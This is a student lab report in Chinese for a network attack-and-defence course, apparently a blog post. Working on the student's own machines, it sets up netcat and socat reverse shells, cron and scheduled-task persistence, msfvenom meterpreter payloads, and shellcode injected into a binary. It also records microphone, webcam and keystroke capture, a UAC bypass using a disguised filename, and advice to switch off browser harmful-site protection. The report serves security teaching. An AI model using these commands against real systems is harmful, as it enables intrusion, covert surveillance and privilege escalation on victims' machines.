当前位置: 首页 > news >正文

20232424 2025-2026-1 《网络与系统攻防技术》实验二实验报告

20232424 2025-2026-1 《网络与系统攻防技术》实验二实验报告

1.实验内容

1.使用netcat在windows物理机获取远程主机kali的Shell,cron启动任务
2.使用socat在kali获取物理主机的Shell, 启动任务计划
3.使用MSF meterpreter生成后门文件,利用ncat发送到物理主机并运行获取主机Shell
4.使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
5.使用MSF生成shellcode,注入实验1中的pwn文件,获取反弹连接Shell

2.实验过程

2.0基础环境配置

1.下载netcat和socat工具,可通过官网或CSDN上的各类博客提供的镜像进行下载。若出现无法下载的情况,可进入edge浏览器

“设置-隐私、搜索和服务-安全性”

将“防止有害网站和地址”关闭
屏幕截图 2025-10-22 104648
下载解压完毕后,将netcat添加到系统环境变量,CSDN博文有很多教程,此处不再赘述

2.分别查看物理机与kali的IP地址
将虚拟机kali的网络适配器设置为 “仅主机模式” ,使用命令ifconfig查看IP地址:192.168.19.129
屏幕截图 2025-10-22 105332
在物理机中使用ipconfig查看IP地址:192.168.19.1
屏幕截图 2025-10-21 234638

2.1 netcat获取虚拟机shell,cron启动任务

1.shell获取
在物理机打开cmd,输入命令ncat -l -p 6666对6666端口进行监听
然后在kali的终端中输入nc 192.168.19.1 6666 -e /bin/sh进行反弹连接
屏幕截图 2025-10-21 234650
返回物理机输入ls测试是否获取到虚拟机shell
屏幕截图 2025-10-21 234610
如图,成功调用虚拟机shell

2.cron启动任务
任务:通过cron让Kali每分钟都主动反弹连接Windows并给Windows提供一个Shell。

crontab -e选择vim.basic进入编辑
在底部加上* * * * * /bin/netcat 192.168.19.1 6666 -e /bin/sh #每分钟运行一次netcat反弹连接到Windows并提供一个Shell
wq退出

crontab -l查看文件是否被修改
屏幕截图 2025-10-21 234936

返回物理机中,打开一个终端再次对6666端口监听,再打开一个终端输入命令netstat -an | findstr "6666"查看端口6666状态。当状态由“LISTEN”变为“ESTABLISHED”即kali成功自动反弹连接。
屏幕截图 2025-10-22 001125

屏幕截图 2025-10-22 001008
图中可以看到我输入多次ls无反应,但明明已经建立连接,为什么?

猜测是当前执行shell的目录下无文件

cd /home/kali进入kali目录下再次执行ls

果然成功看到文件及目录信息

退出当前连接执行重新监听的操作,观察到端口状态总能由“LISTEN”变为“ESTABLISHED”,且这个过程不超过1分钟
屏幕截图 2025-10-22 001258

2.2 socat获取Shell, 任务计划启动

1.socat获取Shell
此处目标主机变为windows物理机
首先在kali对端口进行监听

socat TCP-LISTEN:6666 - # 在Kali的8888端口监听

然后进入物理机中socat.exe所在的目录,右键进入终端,执行反弹连接

./socat exec:cmd.exe,pty,stderr TCP:192.168.19.129:6666

屏幕截图 2025-10-22 002444
此时返回虚拟机可看到已经获取了windows的shell
屏幕截图 2025-10-22 002457
进入提前创建好的test文件夹并mkdir test1新建一个测试目录
屏幕截图 2025-10-22 002538
如上图,目录成功创建

2.任务计划启动
进入物理机,首先编辑任务计划列表,创建一个任务,如图,在触发器中我们设置每天0:30自动触发
屏幕截图 2025-10-22 002838

新建操作,将socat的路径填入“程序或脚本”中,并指定参数

exec:powershell.exe,pipes TCP:192.168.19.129:6666 #为虚拟机提供powershell

屏幕截图 2025-10-22 003819

返回kali进行监听,可看到操作触发以后自动获取到了powershell
屏幕截图 2025-10-22 003847

2.3 后门文件获取shell

1.使用命令msfvenom生成一个可执行文件作为后门程序,执行该程序使系统主动反弹连接指定的ip:LHOST 192.168.19.129和指定的端口:LPORT 8000

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.19.129 LPORT=8000 -f exe > 20232424_backdoor.exe # 其中192.168.19.129为Kali的IP地址

屏幕截图 2025-10-22 004207
出现上图结果即生成完成
2.使用netcat将后门程序发送到物理机中
物理机:ncat -l -p 9000 -vv -w 3 > 20232424_backdoor.exe
虚拟机:nc 192.168.19.1 9000 < 20232424_backdoor.exe
屏幕截图 2025-10-22 004418
如图,连接被建立,在物理机内可找到刚刚发送到后门程序
3.获取shell
完成以上步骤后在kali打开终端,输入以下命令

msfconsole #打开msf控制台
use exploit/multi/handler #进入监听
set payload windows/x64/meterpreter/reverse_tcp 
set LHOST 192.168.19.129 #与后门程序的LHOST保持一致
set LPORT 8000 #与后门程序的LPORT保持一致
exploit#此步成功执行后,在物理机中运行后门程序

屏幕截图 2025-10-22 085028
尝试获取用户uidshell
屏幕截图 2025-10-22 085126
成功

2.4后门文件获取目标主机音频、摄像头、击键记录,并尝试提权

1.获取音、像、键盘
依旧在msf控制台内,输入以下命令:

record_mic -d 5 #目标主机默认麦克风录音5秒
webcam_snap #调用目标主机摄像头拍照
keyscan_start # 记录键盘敲击信息
keyscan_dump # 显示捕捉到的键盘记录信息
keyscan_stop # 停止记录

屏幕截图 2025-10-22 090043
↑录音文件保存至kali文件夹下
屏幕截图 2025-10-22 090109
↑照片保存至kali文件夹下
屏幕截图 2025-10-22 090137
↑键盘敲击信息
image
kali目录内可查看刚刚获取的音、像文件
2.提权
尝试使用getsystem提权,getuid验证
屏幕截图 2025-10-22 090323
失败

原因是UAC机制阻止程序执行任何涉及有关系统更改/特定任务的任务,除非用户权限提升

屏幕截图 2025-10-22 090608
查看会话发现仅1个,无法进入其他会话

接下来就要完成“提权”这一步骤
使用exploit/windows/local/ask模块

background
use exploit/windows/local/ask # 加载模块
set session 1
set LHOST 192.168.19.1
set FILENAME WindowsUpdater.exe
run

完成以上步骤后Metaspolit会自动生成一个新的session,在这个session中使用getsystem便可以直接获得system权限,如下图:
屏幕截图 2025-10-22 092317

2.5 shellcode注入获取shell

1.使用命令msfvenom生成一个elf格式的后门程序

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.19.129 LPORT=8888 -x /home/kali/桌面/pwn20232424 -f elf > 20232424_pwn1022
#此处IP地址设置为192.168.19.129,即以kali本机作为目标主机

屏幕截图 2025-10-22 164541

使用sudo chmod a+x 20232424_pwn1022为文件赋予可执行权限
屏幕截图 2025-10-22 164549

再打开一个终端,输入msfconsole进入msf控制台对本机监听

use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp 
set LHOST 192.168.19.129
set LPORT 8888
exploit

在原终端中运行20232424_pwn1022文件
屏幕截图 2025-10-22 164559

新终端中成功获取到kali的shell
屏幕截图 2025-10-22 164518
如图,输入dir获取到了当前目录下的文件内容

3.问题及解决方案

  • 问题1:在kali打开msf控制台建立会话时出现报错,会话建立后立马关闭
meterpreter session 1 closed.Reason:DIED
  • 问题1解决方案:参考毕悠尘同学作业博文的解决方案。
    步骤一:使用命令sudo apt update与sudo apt update && sudo apt install metasploit-framework对metasploit进行更新。
    步骤二:在物理机中下载并安装Visual C++ Redistributable。安装完成后,再次运行后门程序,此时Meterpreter会话可稳定建立。

  • 问题2:做“提权”步骤时,meterpreter无法新建会话,且自动将LHOST指向了本机的环回接口127.0.0.1
    屏幕截图 2025-10-22 092438

  • 问题2解决方案:在输入指令use exploit/windows/local/ask 加载完exploit/windows/local/ask模块后指定LHOST为虚拟机ip192.168.19.129
    屏幕截图 2025-10-22 092317

  • 问题3:步骤2.1中kali的自动反弹连接会话成功建立,但是输入ls命令想要查看目录下文件时无反应,以为shell没有被调用,多次尝试后依旧无反应

  • 问题3解决方案:ls查看的是当前目录下的文件,若无输出,有可能是当前目录下根本就没有文件。cd /home/kali进入kali目录下再次执行ls,成功看到文件及目录信息
    屏幕截图 2025-10-22 001258

4.问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?
被诱导下载可疑软件时,木马伪装成软件插件被我安装到系统里
(2)例举你知道的后门如何启动起来(win及linux)的方式?
1.windows注册表自启动:负责开机启动的值被修改,实现后门随系统启动。
2.crontab定时任务(Linux),攻击者通过添加配置文件,比如实验中的* * * * * /bin/netcat 192.168.19.1 6666 -e /bin/sh使系统每分钟执行指定目录下的后门脚本
(3)Meterpreter有哪些给你映像深刻的功能?
1.通过命令自动生成后门文件
2.UAC绕过提升权限
(4)如何发现自己有系统有没有被安装后门?
1.查看自己电脑的注册表和计划任务,排查注册表中的未知键值与计划任务中的可以任务
2.使用专业查杀工具,如“火绒”等,进行全盘扫描与实时监测

5.学习感悟、思考

本次实验对后门原理进行了应用与实践,其中包含调用目标主机音频、摄像头、击键记录等有意思的小实验,也有cron启动某项任务这类稍微难理解的内容,让我体会到了Metasploit这一工具的便利,也让我学习到了后门技术的基本原理及其技术的强大。从netcat的下载安装,到两台机器的相互连接与shell调用,再到主机摄像头的调用,这一步步虽然遇到了大大小小的问题,但亲眼看着笔记本电脑摄像头灯光闪烁,然后自己的图像出现在屏幕上的那种兴奋是难以言表的,也算是小小满足了一下自己小时候对于“黑客”的幻想。
同时本次实验也加深了我对防火墙“系统第一道物理防线”的认识,如果防火墙被关闭,那么任何微小的配置缺陷都有可能成为攻击者的目标。

参考资料

  • 毕悠尘同学作业博文
  • 陈翰文学长作业博文
  • windows下安装使用netcat
http://www.hskmm.com/?act=detail&tid=36880

相关文章:

  • 记录docker desktop wsl2奔溃的查询思路
  • 股票操作统计分析报告 - 2025年10月22日
  • 软工结对作业
  • 20232419 2025-2026-1《网络与系统攻防技术》实验二实验报告
  • dfs模板(p1036)
  • Java中的修饰符
  • CF2078D Scammy Game Ad
  • [树状数组]P11855 [CSP-J2022 山东] 部署 题解
  • C#/.NET/.NET Core技术前沿周刊 | 第 58 期(2025年10.13-10.19)
  • 行列式+矩阵树定理
  • 测试金字塔与测试左移:提升软件质量的双翼策略
  • 兼职MOer的幸福生活
  • 20232323 2025-2026-1《网络与系统攻防技术》实验二实验报告
  • 完整教程:阿里云上CentOS6.9(停止维护)导致的yum下载chrony失败如何解决?
  • LGP5494 [LG TPLT] 线段树分裂 学习笔记
  • 股票操作统计分析报告 - 2025-10-22
  • 随笔测试
  • 文档智能信息抽取技术在金融财税领域的应用研究与发展前景
  • 今日策略:年化436%,回撤7%,夏普比5.28, deap因子挖掘重构,附python代码 - 详解
  • 51单片机实践之数码管电子时钟/时间呈现及其设置
  • vue2:v-if和v-show的区别以及造成的影响
  • P6845 题解
  • LGP3694 邦邦的大合唱站队 学习笔记
  • 2025.10.22学习记录
  • 衡量效率,质量,运维的效率指标
  • LeeCode_101对称二叉树
  • TRAE 设计团队如何玩转 Vibe Coding(上)|高美感页面生成篇
  • LeeCode_226反转二叉树
  • 2025多校冲刺CSP模拟赛7 总结
  • 详细介绍:wpf之 Popup